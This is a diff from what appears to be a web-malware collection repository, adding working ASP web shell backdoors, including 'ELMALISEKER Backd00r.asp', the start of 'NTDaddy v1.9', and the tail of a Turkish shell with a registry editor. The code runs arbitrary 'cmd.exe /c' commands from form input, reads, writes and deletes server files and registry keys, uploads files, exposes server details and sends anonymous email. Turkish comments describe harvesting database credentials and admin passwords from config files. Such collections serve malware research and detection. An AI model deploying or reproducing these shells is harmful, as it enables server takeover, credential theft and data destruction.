" +if not inject2 = "ok" then +yazsol("XMLHTTP Component ini kullanmaktad�r. kullan�m� �ok kolay. Server daki istedi�iniz dosyan�n fiziksel link ini yazarak , i�ini g�r�nt�leyebilirsiniz.") +yazsol("Bir server a girdiniz. FSO ile okuma yetkiniz yok bir dizinde, fakat orda dosyalar mevcut. HTTP �zerinden ula�abiliyorusnuz fakat server i�inden PERMission denied diyor. o zaman direk burdan fiziksel link ini yazarakdan ula��r��z. BUNU 'confing.asp' 'common.asp' 'sql.asp' gibi dosyalarda uygulayarak SQL ba�lant�lar yada MDB yerlerini ��renebiliriz. Hatta ASp kodlar i�indeki Admin �irfeleri gibi kritik �ifrrelerde dahil. SQL injeciotn yapacaksan�zda, Tablo lar� , kullan��an sql komularada ula�abilirsiniz. ") +else +response.write "" +end if +yazorta("by Ejder ;)") + +CASE 45 'Regedit z�mb�rt�s� =) uehueh by E J D E R F r o m S a V S a K . C o M +response.write "
" +tablo30("REGED�T 1.0 by EJDER ;)") +tablo30("
REGister lara YAzma & Ekleme") +yazsol("
Mevki/Key :
(�rnek: HKLM\SOFTWARE\Microsoft\SaVSAK_CoM)") +yazsol("De�er/Value: ") +yazsol("T�r/Type:      ") +response.write "
" +yazsol("
Root Key NameKar��l���
HKEY_CURRENT_USERHKCU
HKEY_LOCAL_MACHINE HKLM
HKEY_CLASSES_ROOTHKCR
HKEY_USERSHKEY_USERS
HKEY_CURRENT_CONFIGHKEY_CURRENT_CONFIG
") +yazsol("REG_SZ -> String(kelime) / REG_DWORD -> �nteger(Say�) / REG_BINARY -> Binary / REG_EXPAND_SZ -> Multi String / REG_MULTI_SZ -> Aeeay String") +response.write "
" +tablo30("
Register lardan OKUMA & S�L by SaVSaK.CoM ;)") +yazsol("
Mevki/Key :
(�rnek: HKLM\SOFTWARE\Microsoft\SaVSAK_CoM)") +yazorta(" OKU - S�L      ") +response.write "
" +on error resume next +Set SaVSaK = Server.CreateObject("WScript.Shell") + if err <> 0 then + olmadi("Server da WScript.SHell kullan�m�na �zin vermemektedir. ��lem ba�ar�s�z. SaVSaK.CoM") + response.end() + end if +if inject2 = "yaz" then + on error resume next + Select Case CInt(hash4) + Case 1 + hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_SZ") + Case 2 + hash9 = SaVSaK.RegWrite (Trim(hash2), CInt(Trim(hash3)), "REG_DWORD") + Case 3 + hash9 = SaVSaK.RegWrite (Trim(hash2), CInt(Trim(hash3)), "REG_BINARY") + Case 4 + hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_EXPAND_SZ") + Case 5 + hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_MULTI_SZ") + End Select + if err <> 0 then + olmadi("��lem ger�ekle�tirilemedi. VALUE de�erinin do�ru ve uygun Value girid�inziden emin ol.") + else + oldu(" "+hash2+"
adresine register yaz�ld�. ") + end if + +else if inject2 = "oku" then + if hash6 = "oku" then + yazorta("Mevki/Key: "&Trim(hash5)&"") + on error resume next + response.write "
De�er/Value: " + response.write SaVSaK.RegRead (Trim(hash5)) + response.write "
" + if err<>0 then + olmadi("Kay�t Register larda bulunamad�...") + end if + else if hash6 = "sil" then + yazorta("Mevki/Key: "&Trim(hash5)&"") + on error resume next + hash9 = SaVSaK.RegDelete (Trim(hash5)) + if err<>0 then + olmadi("Registerlardan Silinemedi. KEy yanl�� olabilir. yada kay�t bulanamad�.") + else + oldu("Ba�ar�yla Silindi. ") + end if + end if + end if + +end if +end if +yazortaa("Written by EJDER for SaVSaK.CoM") + + +END SELECT + + +if popup = False AND nolist = False then +response.write "

" +response.write "
" +Call KlasorOku() +response.write "
" +Call DosyaOku() +response.write "
" +end if + +if popup = False then +response.write "

" +response.write "" +Call Suruculer +response.write "
S�r�c�ler


" +Call SurucuInfo +yazortaa("Written by EJDER For WwW.SaVSaK.CoM") +yazorta("Template & Tema Designed by FASTBOY
Speacial Thanks to Fastboy
") +end if +%> + + + + + + + +<%'ejder%>

 

+ diff --git a/web-malware-collection-master/Backdoors/ASP/ELMALISEKER Backd00r.asp b/web-malware-collection-master/Backdoors/ASP/ELMALISEKER Backd00r.asp new file mode 100755 index 0000000..757f833 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/ELMALISEKER Backd00r.asp @@ -0,0 +1,1004 @@ +<%@ Language=VBScript %> +<%Dim oScript +Dim oScriptNet +Dim oFileSys, oFile +Dim szCMD, szTempFile +On Error Resume Next +Set oScript = Server.CreateObject("WSCRIPT.SHELL") +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") +szCMD = Request.Form(".CMD") +If (szCMD <> "") Then +szTempFile = "C:\" & oFileSys.GetTempName( ) +Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) +Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) +End If%> +<% if request.form("flag")=""then %> + + +::: ELMALISEKER ::: +<% +'Commands +dim fs,f +dim FilePath,FolderPath,FileTo,Cmd +dim selFolder,FolderTo +dim Tempmsg +dim TempAtt +dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat +Const ForReading = 1, ForWriting = 2, ForAppending = 3 +Set fs = CreateObject("Scripting.FileSystemObject") +FilePath=Request.Form("FileName") +FolderPath=Request.Form("FolderPath") +selFolder=Request.Form("FolderName") +FolderTo=Request.form("CopyFolderTo") +FileTo=Request.Form("CopyFileTo") +Cmd=Request.Form("cmdOption") +TextCmd=Request.form("cmdtxtFileOption") +Select case Cmd +case "DeleteFile" +fs.deletefile FilePath,TRUE +response.write("File: " & FilePath & " has been deleted.") +case "DeleteFolder" +fs.deletefolder selFolder,TRUE +response.write("Folder: " & selFolder & " has been deleted.") +FolderPath=Request.form("RefreshFolderPath") +case "CopyFile" +fs.CopyFile FilePath,FileTo, TRUE +response.write("File: " & FilePath & " has been copied to " & FileTo & ".") +case "CopyFolder" +fs.CopyFolder selFolder,FolderTo, TRUE +response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".") +case "SetFileAttributes" +on error resume next +if FilePath <> "" then +Set f = fs.GetFile(FilePath) +select case f.attributes +case 0 +FileAttributes = "Normal" +case 1 +FileAttributes = "Read Only" +case 2 +FileAttributes = "Hidden" +case 3 'Extra +FileAttributes = "Read Only, Hidden" +case 4 +FileAttributes = "System" +case 7 'Extra +FileAttributes = "Read Only, Hidden, System" +case 8 +FileAttributes = "Volume" +case 16 +FileAttributes = "Directory" +case 19 +FileAttributes = "Read Only, Hidden, Directoy" +case 23 +FileAttributes = "Read Only, Hidden, System, Directory" +case 32 +FileAttributes = "Archive" +case 33 'Extra +FileAttributes = "Read Only, Archive" +case 34 'Extra +FileAttributes = "Hidden, Archive" +case 38 'Extra +FileAttributes = "Hidden, Archive, System" +case 39 'Extra +FileAttributes = "Read Only, Hidden, Archive, System" +case 48 +FileAttributes = "Directory, Archive" +case 64 +FileAttributes = "Alias" +case 128 +FileAttributes = "Compressed" +case else +FileAttributes = f.attributes +end select +end if +response.write("
") +response.write("") +response.write("") +response.write("
") +response.write("") +response.write("") +response.write("") +response.write("") +if f.DateCreated = "" then +response.write("") +else +response.write("
Accessed: " & f.DateLastModified & "") +end if +response.write("") +response.write("
File Name: " & f.name & "
Set New Attributes:
") +response.write("Normal") +response.write("
Read Only") +response.write("
Hidden") +response.write("
System") +response.write("
Volume") +response.write("
Directory") +response.write("
Archive") +response.write("
Alias") +response.write("
Compressed") +response.write("
") +response.write("
Type of File: " & f.type & "
Location: " & f.path) +response.write("
Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
Created: ----") +else +response.write("
Created: " & f.DateCreated) +end if +if f.DateLastAccessed = "" then +response.write("
Modified: ----") +else +response.write("
Modified: " & f.DateLastAccessed) +end if +if f.DateLastModified = "" then +response.write("
Accessed: ----
Attributes: " & FileAttributes & "
") +case "SetFolderAttributes" +on error resume next +FolderPath=Request.form("RefreshFolderPath") +if selFolder <> "" then +Set f = fs.Getfolder(selFolder) +select case f.attributes +case 0 +FolderAttributes = "Normal" +case 1 +FolderAttributes = "Read Only" +case 2 +FolderAttributes = "Hidden" +case 3 'Extra +FolderAttributes = "Read Only, Hidden" +case 4 +FolderAttributes = "System" +case 7 'Extra +FolderAttributes = "Read Only, Hidden, System" +case 8 +FolderAttributes = "Volume" +case 16 +FolderAttributes = "Directory" +case 17 'Extra +FolderAttributes = "Read Only, Directory" +case 18 'Extra +FolderAttributes = "Hidden, Directory" +case 19 +FolderAttributes = "Read Only, Hidden, Directoy" +case 20 'Extra +FolderAttributes = "System, Directory" +case 22 'Extra +FolderAttributes = "Hidden, System. Directory" +case 23 +FolderAttributes = "Read Only, Hidden, System, Directory" +case 32 +FolderAttributes = "Archive" +case 33 'Extra +FolderAttributes = "Read Only, Archive" +case 34 'Extra +FolderAttributes = "Hidden, Archive" +case 38 'Extra +FolderAttributes = "Hidden, Archive, System" +case 39 'Extra +FolderAttributes = "Read Only, Hidden, Archive, System" +case 48 +FolderAttributes = "Directory, Archive" +case 64 +FolderAttributes = "Alias" +case 128 +FolderAttributes = "Compressed" +case else +FolderAttributes = f1.attributes +end select +end if +response.write("
") +response.write("") +response.write("") +response.write("
") +response.write("") +response.write("") +response.write("") +response.write("") +if f.DateCreated = "" then +response.write("") +else +response.write("
Accessed: " & f.DateLastModified & "") +end if +response.write("") +response.write("
Folder Name: " & f.name & "
Set New Attributes:
") +response.write("Normal") +response.write("
Read Only") +response.write("
Hidden") +response.write("
System") +response.write("
Volume") +response.write("
Directory") +response.write("
Archive") +response.write("
Alias") +response.write("
Compressed") +response.write("
") +response.write("
Type of Folder: " & f.type & "
Location: " & f.path) +response.write("
Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
Created: ----") +else +response.write("
Created: " & f.DateCreated) +end if +if f.DateLastAccessed = "" then +response.write("
Modified: ----") +else +response.write("
Modified: " & f.DateLastAccessed) +end if +if f.DateLastModified = "" then +response.write("
Accessed: ----
Attributes: " & FolderAttributes & "
") +case "OpenTextFile" +If FilePath <> "" then +lblioMode=Request.form("optiomode") +lblFormat=request.form("optformat") +set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat) +TextOutput = TextFile.ReadAll +'TextOutput="" +'Do While TextFile.AtEndOfStream <> True +' TextOutput = TextOutput & TextFile.ReadLine +'Loop +TextFile.close +else +FilePath = FolderPath +end if +response.write("
") +response.write("
") +response.write("") +response.write("") +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write("") +response.write("

") +case "ApplyFileAttributes" +TempAtt=int(Request.form("FileAttribute1")) +TempAtt=TempAtt + int(Request.form("FileAttribute2")) +TempAtt=TempAtt + int(Request.form("FileAttribute3")) +TempAtt=TempAtt + int(Request.form("FileAttribute4")) +TempAtt=TempAtt + int(Request.form("FileAttribute5")) +TempAtt=TempAtt + int(Request.form("FileAttribute6")) +TempAtt=TempAtt + int(Request.form("FileAttribute7")) +TempAtt=TempAtt + int(Request.form("FileAttribute8")) +TempAtt=TempAtt + int(Request.form("FileAttribute9")) +Set f = fs.GetFile(FilePath) +f.attributes=int(TempAtt) +response.write("File: " & FilePath & " attributes have been changed.") +case "ApplyFolderAttributes" +FolderPath=Request.form("RefreshFolderPath") +TempAtt=int(Request.form("FolderAttribute1")) +TempAtt=TempAtt + int(Request.form("FolderAttribute2")) +TempAtt=TempAtt + int(Request.form("FolderAttribute3")) +TempAtt=TempAtt + int(Request.form("FolderAttribute4")) +TempAtt=TempAtt + int(Request.form("FolderAttribute5")) +TempAtt=TempAtt + int(Request.form("FolderAttribute6")) +TempAtt=TempAtt + int(Request.form("FolderAttribute7")) +TempAtt=TempAtt + int(Request.form("FolderAttribute8")) +TempAtt=TempAtt + int(Request.form("FolderAttribute9")) +Set f = fs.Getfolder(selFolder) +f.attributes=int(TempAtt) +response.write("Folder: " & selFolder & " attributes have been changed.") +end select +Select Case TextCmd +case "SaveAs" +TextWrite = Request.form("txtFile") +TextCreateFormat = Request.form("optUnicode") +if textcreateformat = "TRUE" then +tempmsg="Unicode" +else +tempmsg="ASCII" +end if +Set TextFile = fs.CreateTextFile(FilePath, True, TextCreateFormat) +TextFile.Write TextWrite +TextFile.Close +response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.") +end select +%> +<% +Public CurrentPath +Function ShowDriveLetters() +on error resume next +Dim fs, d, dc, t +dim isReadyColor,TempSize,ShowDriveInfo +Set fs = CreateObject("Scripting.FileSystemObject") +Set dc = fs.Drives +ShowDriveInfo=Request.Form("chkShowDriveInfo") +response.write("") +response.write("") +if showdriveinfo="TRUE" then +response.write("") +response.write("") +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +if showdriveinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +end if +response.write("") +For Each d in dc +Select Case d.DriveType +Case 0: t = "Unknown" +Case 1: t = "Removable" +Case 2: t = "Fixed" +Case 3: t = "Network" +Case 4: t = "CD-ROM" +Case 5: t = "RAM Disk" +End Select +if showdriveinfo="TRUE" then +if d.isReady then +response.write("") +else +response.write("") +end if +if d.filesystem = "" then +response.write("") +else +response.write("") +end if +if d.SerialNumber = "" then +response.write("") +else +response.write("") +end if +else +response.write("") +end if +response.write("") +response.write("") +if showdriveinfo="TRUE" then +if d.volumename="" then +response.write("") +else +response.write("") +end if +if d.sharename="" then +response.write("") +else +response.write("") +end if +str="" +str=str & d.driveletter +str=str & ":" +'response.write(str) +if d.isready then +freespace = (d.AvailableSpace / 1048576) +set sp=fs.getdrive(str) +response.write("") +else +response.write("") +end if +str="" +str=str & d.driveletter +str=str & ":" +'response.write(str) +if d.isready then +totalspace = (d.TotalSize / 1048576) +set sp=fs.getdrive(str) +response.write("") +else +response.write("") +end if +end if +Next +response.write("") +response.write("
Show Drive Info
File SystemSerial #
Show Drive Info
TypeDriveVolume NameShare NameFree SpaceTotal Size
...." & d.filesystem & "...." & d.SerialNumber & "
" & t & "...." & d.volumename & "...." & d.sharename & "" & Round(freespace,1) & " MB...." & Round(totalspace,1) & " MB....
") +response.write("

") +End Function +Function ShowFolderNames() +on error resume next +Dim fs, f, f1, s, sf ,FP +dim ShowFolderInfo,FolderAttributes +ShowFolderInfo=request.form("chkShowFolderInfo") +FP=Request.Form("FolderPath") +if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then +FP=request.form("RefreshFolderPath") +IP=chr(34) & IP & chr(34) +end if +CurrentPath=FP +Set fs = CreateObject("Scripting.FileSystemObject") +Set f = fs.GetFolder(FP) +Set sf = f.SubFolders +response.write("
") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +end if +For Each f1 in sf +if showfolderinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +folderattributes="...." +select case f1.attributes +case 0 +FolderAttributes = "Normal" +case 1 +FolderAttributes = "Read Only" +case 2 +FolderAttributes = "Hidden" +case 3 'Extra +FolderAttributes = "Read Only, Hidden" +case 4 +FolderAttributes = "System" +case 7 'Extra +FolderAttributes = "Read Only, Hidden, System" +case 8 +FolderAttributes = "Volume" +case 16 +FolderAttributes = "Directory" +case 17 'Extra +FolderAttributes = "Read Only, Directory" +case 18 'Extra +FolderAttributes = "Hidden, Directory" +case 19 +FolderAttributes = "Read Only, Hidden, Directoy" +case 20 'Extra +FolderAttributes = "System, Directory" +case 22 'Extra +FolderAttributes = "Hidden, System. Directory" +case 23 +FolderAttributes = "Read Only, Hidden, System, Directory" +case 32 +FolderAttributes = "Archive" +case 33 'Extra +FolderAttributes = "Read Only, Archive" +case 34 'Extra +FolderAttributes = "Hidden, Archive" +case 38 'Extra +FolderAttributes = "Hidden, Archive, System" +case 39 'Extra +FolderAttributes = "Read Only, Hidden, Archive, System" +case 48 +FolderAttributes = "Directory, Archive" +case 64 +FolderAttributes = "Alias" +case 128 +FolderAttributes = "Compressed" +case else +FolderAttributes = f1.attributes +end select +response.write("") +if f1.datecreated = "" then +response.write("") +else +response.write("") +end if +if f1.datelastaccessed = "" then +response.write("") +else +response.write("") +end if +if f1.datelastmodified = "" then +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +else +response.write("") +end if +Next +response.write("
Show Folder Info

to
") +if showfolderinfo="TRUE" then +response.write("
FolderSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FolderAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "\
") +response.write("
") +End Function +Function ShowFileNames() +on error resume next +Dim fs, f, f1, fc, FP +dim ShowFileInfo,FileAttributes,ShowPrefix +ShowPrefix=request.form("txtShowPrefix") +ShowFileInfo=Request.form("chkShowFileInfo") +FP=Request.Form("FolderPath") +if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then +FP=request.form("RefreshFolderPath") +IP=chr(34) & IP & chr(34) +end if +CurrentPath=FP +Set fs = CreateObject("Scripting.FileSystemObject") +Set f = fs.GetFolder(FP) +Set fc = f.Files +response.write("
") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +if showfileinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +end if +For Each f1 in fc +if showfileinfo="TRUE" then +if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then +response.write("") +response.write("") +response.write("") +response.write("") +select case f1.attributes +case 0 +FileAttributes = "Normal" +case 1 +FileAttributes = "Read Only" +case 2 +FileAttributes = "Hidden" +case 3 'Extra +FileAttributes = "Read Only, Hidden" +case 4 +FileAttributes = "System" +case 7 'Extra +FileAttributes = "Read Only, Hidden, System" +case 8 +FileAttributes = "Volume" +case 16 +FileAttributes = "Directory" +case 19 +FileAttributes = "Read Only, Hidden, Directoy" +case 23 +FileAttributes = "Read Only, Hidden, System, Directory" +case 32 +FileAttributes = "Archive" +case 33 'Extra +FileAttributes = "Read Only, Archive" +case 34 'Extra +FileAttributes = "Hidden, Archive" +case 38 'Extra +FileAttributes = "Hidden, Archive, System" +case 39 'Extra +FileAttributes = "Read Only, Hidden, Archive, System" +case 48 +FileAttributes = "Directory, Archive" +case 64 +FileAttributes = "Alias" +case 128 +FileAttributes = "Compressed" +case else +FileAttributes = f1.attributes +end select +response.write("") +if f1.datecreated = "" then +response.write("") +else +response.write("") +end if +if f1.datelastaccessed = "" then +response.write("") +else +response.write("") +end if +if f1.datelastmodified = "" then +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +end if +else +if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then +response.write("") +end if +end if +Next +response.write("
Show File Info &
Show Only:
to
") +response.write("
FileSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
" & f1.name & "" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FileAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "
" & f1.name & "
") +response.write("
") +End Function +%> + + + +
+NTDADDY

BU BIR ELMALI SEKERDIR;) YILLARDIR BUYUK BABALAR +TARAFINDAN BILINMESINE RAGMEN DAGITILMIYORDU
+AMA BUGUN AHA SIZ EVLATLARIMIZA VERIYOZ CUNKU BIZ BUNUN BABASINI YAPTIK BU DA +SIZIN OLSUN

+
+ + + + +
" & FP) +%> +
+ + + + + + +
<% =ShowDriveLetters() %>
<% =ShowFolderNames() %><% =ShowFileNames() %>
+ +


+
+ + + + + + + + + +
+� Remote Info. + + +� Local Info. + +
+
+User: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %>
+ID: <%=request.servervariables("SERVER_NAME")%>
+IP: <%=request.servervariables("LOCAL_ADDR")%>
+HTTPD: <%=request.servervariables("SERVER_SOFTWARE")%> Port: <%=request.servervariables("SERVER_PORT")%>
+Webroot: <%=request.servervariables("APPL_PHYSICAL_PATH")%>
+LogRoot: <%=request.servervariables("APPL_MD_PATH")%>
+Date: <% =date() %>
+Time: <%=time() %>
+HTTPs: <%=request.servervariables("HTTPS")%> +
+
+ +Local Addr (What they see.): <%=request.servervariables("REMOTE_ADDR")%>
+Forwarded from : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%>
+Via: <%=request.servervariables("HTTP_VIA")%>
+User Agent: <%=request.servervariables("HTTP_USER_AGENT")%>
+Wookie: <%=request.servervariables("HTTP_WOOKIE")%>
+Cache Control: <%=request.servervariables("HTTP_CACHE_CONTROL")%>
+Interface: <%=request.servervariables("GATEWAY_INTERFACE")%>
+Protocol: <%=request.servervariables("SERVER_PROTOCOL")%>
+Method: <%=request.servervariables("REQUEST_METHOD")%>
+
+ +
+
+
+ +
+
+ + + + + + + + + + + + + +
+� File Upload Utility
+
+ +File :
+
+
+� RAW D.O.S. COMMAND INTERFACE
+
" method="POST"> +

+

+
+
<%
+If (IsObject(oFile)) Then
+On Error Resume Next
+Response.Write Server.HTMLEncode(oFile.ReadAll)
+oFile.Close
+Call oFileSys.DeleteFile(szTempFile, True)
+End If%>
+
+
+ +
+
+
+ +
+
+
+ + + + + + + + + + + + + + + + + + + + +
� Anonymous Email Utility
From:
To:
Subject:
Body:
+ + +
+ +
+
+
+
 
+
+ + + + + + +<% +If Request.ServerVariables("REQUEST_METHOD") = "POST" Then +Set Fields = GetUpload() +FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName +Fields("File1").Value.SaveAs FilePath +End If +%> +<% +Else +Dim anonFrom,anonTo,anonSubj,anonBody +anonFrom = request.form("From") +anonTo = request.form("To") +anonSubj = request.form("Subject") +anonBody = request.form("Body") +Set objMail = CreateObject("CDONTS.NewMail") +objMail.From=anonFrom +objMail.To=anonTo +objMail.Subject=anonSubj +objMail.Body=anonBody +intReturn=objMail.Send() +%> + +:::: DESERTSUN SERVER CRASHER :::: +

Message sent successfully!




+
+ + + + + +
+ + +

]

+ +<% +End if +%> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/NTDaddy.v1.9.txt b/web-malware-collection-master/Backdoors/ASP/NTDaddy.v1.9.txt new file mode 100755 index 0000000..bbcba0a --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/NTDaddy.v1.9.txt @@ -0,0 +1,1012 @@ + +<%@ Language=VBScript %> +<%Dim oScript +Dim oScriptNet +Dim oFileSys, oFile +Dim szCMD, szTempFile +On Error Resume Next +Set oScript = Server.CreateObject("WSCRIPT.SHELL") +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") +szCMD = Request.Form(".CMD") +If (szCMD <> "") Then +szTempFile = "C:\" & oFileSys.GetTempName( ) +Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) +Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) +End If%> +<% if request.form("flag")=""then %> + + +|[NTDaddy v1.9 - obzerve | fux0r inc.] +<% +'Commands +dim fs,f +dim FilePath,FolderPath,FileTo,Cmd +dim selFolder,FolderTo +dim Tempmsg +dim TempAtt +dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat +Const ForReading = 1, ForWriting = 2, ForAppending = 3 +Set fs = CreateObject("Scripting.FileSystemObject") +FilePath=Request.Form("FileName") +FolderPath=Request.Form("FolderPath") +selFolder=Request.Form("FolderName") +FolderTo=Request.form("CopyFolderTo") +FileTo=Request.Form("CopyFileTo") +Cmd=Request.Form("cmdOption") +TextCmd=Request.form("cmdtxtFileOption") +Select case Cmd +case "DeleteFile" +fs.deletefile FilePath,TRUE +response.write("File: " & FilePath & " has been deleted.") +case "DeleteFolder" +fs.deletefolder selFolder,TRUE +response.write("Folder: " & selFolder & " has been deleted.") +FolderPath=Request.form("RefreshFolderPath") +case "CopyFile" +fs.CopyFile FilePath,FileTo, TRUE +response.write("File: " & FilePath & " has been copied to " & FileTo & ".") +case "CopyFolder" +fs.CopyFolder selFolder,FolderTo, TRUE +response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".") +case "SetFileAttributes" +on error resume next +if FilePath <> "" then +Set f = fs.GetFile(FilePath) +select case f.attributes +case 0 +FileAttributes = "Normal" +case 1 +FileAttributes = "Read Only" +case 2 +FileAttributes = "Hidden" +case 3 'Extra +FileAttributes = "Read Only, Hidden" +case 4 +FileAttributes = "System" +case 7 'Extra +FileAttributes = "Read Only, Hidden, System" +case 8 +FileAttributes = "Volume" +case 16 +FileAttributes = "Directory" +case 19 +FileAttributes = "Read Only, Hidden, Directoy" +case 23 +FileAttributes = "Read Only, Hidden, System, Directory" +case 32 +FileAttributes = "Archive" +case 33 'Extra +FileAttributes = "Read Only, Archive" +case 34 'Extra +FileAttributes = "Hidden, Archive" +case 38 'Extra +FileAttributes = "Hidden, Archive, System" +case 39 'Extra +FileAttributes = "Read Only, Hidden, Archive, System" +case 48 +FileAttributes = "Directory, Archive" +case 64 +FileAttributes = "Alias" +case 128 +FileAttributes = "Compressed" +case else +FileAttributes = f.attributes +end select +end if +response.write("") +response.write("") +response.write("") +response.write("
") +response.write("") +response.write("") +response.write("") +response.write("") +if f.DateCreated = "" then +response.write("") +else +response.write("
Accessed: " & f.DateLastModified & "") +end if +response.write("") +response.write("
File Name: " & f.name & "
Set New Attributes:
") +response.write("Normal") +response.write("
Read Only") +response.write("
Hidden") +response.write("
System") +response.write("
Volume") +response.write("
Directory") +response.write("
Archive") +response.write("
Alias") +response.write("
Compressed") +response.write("
") +response.write("
Type of File: " & f.type & "
Location: " & f.path) +response.write("
Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
Created: ----") +else +response.write("
Created: " & f.DateCreated) +end if +if f.DateLastAccessed = "" then +response.write("
Modified: ----") +else +response.write("
Modified: " & f.DateLastAccessed) +end if +if f.DateLastModified = "" then +response.write("
Accessed: ----
Attributes: " & FileAttributes & "
") +case "SetFolderAttributes" +on error resume next +FolderPath=Request.form("RefreshFolderPath") +if selFolder <> "" then +Set f = fs.Getfolder(selFolder) +select case f.attributes +case 0 +FolderAttributes = "Normal" +case 1 +FolderAttributes = "Read Only" +case 2 +FolderAttributes = "Hidden" +case 3 'Extra +FolderAttributes = "Read Only, Hidden" +case 4 +FolderAttributes = "System" +case 7 'Extra +FolderAttributes = "Read Only, Hidden, System" +case 8 +FolderAttributes = "Volume" +case 16 +FolderAttributes = "Directory" +case 17 'Extra +FolderAttributes = "Read Only, Directory" +case 18 'Extra +FolderAttributes = "Hidden, Directory" +case 19 +FolderAttributes = "Read Only, Hidden, Directoy" +case 20 'Extra +FolderAttributes = "System, Directory" +case 22 'Extra +FolderAttributes = "Hidden, System. Directory" +case 23 +FolderAttributes = "Read Only, Hidden, System, Directory" +case 32 +FolderAttributes = "Archive" +case 33 'Extra +FolderAttributes = "Read Only, Archive" +case 34 'Extra +FolderAttributes = "Hidden, Archive" +case 38 'Extra +FolderAttributes = "Hidden, Archive, System" +case 39 'Extra +FolderAttributes = "Read Only, Hidden, Archive, System" +case 48 +FolderAttributes = "Directory, Archive" +case 64 +FolderAttributes = "Alias" +case 128 +FolderAttributes = "Compressed" +case else +FolderAttributes = f1.attributes +end select +end if +response.write("
") +response.write("") +response.write("") +response.write("
") +response.write("") +response.write("") +response.write("") +response.write("") +if f.DateCreated = "" then +response.write("") +else +response.write("
Accessed: " & f.DateLastModified & "") +end if +response.write("") +response.write("
Folder Name: " & f.name & "
Set New Attributes:
") +response.write("Normal") +response.write("
Read Only") +response.write("
Hidden") +response.write("
System") +response.write("
Volume") +response.write("
Directory") +response.write("
Archive") +response.write("
Alias") +response.write("
Compressed") +response.write("
") +response.write("
Type of Folder: " & f.type & "
Location: " & f.path) +response.write("
Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
Created: ----") +else +response.write("
Created: " & f.DateCreated) +end if +if f.DateLastAccessed = "" then +response.write("
Modified: ----") +else +response.write("
Modified: " & f.DateLastAccessed) +end if +if f.DateLastModified = "" then +response.write("
Accessed: ----
Attributes: " & FolderAttributes & "
") +case "OpenTextFile" +If FilePath <> "" then +lblioMode=Request.form("optiomode") +lblFormat=request.form("optformat") +set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat) +TextOutput = TextFile.ReadAll +'TextOutput="" +'Do While TextFile.AtEndOfStream <> True +' TextOutput = TextOutput & TextFile.ReadLine +'Loop +TextFile.close +else +FilePath = FolderPath +end if +response.write("
") +response.write("
") +response.write("") +response.write("") +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write("") +response.write("

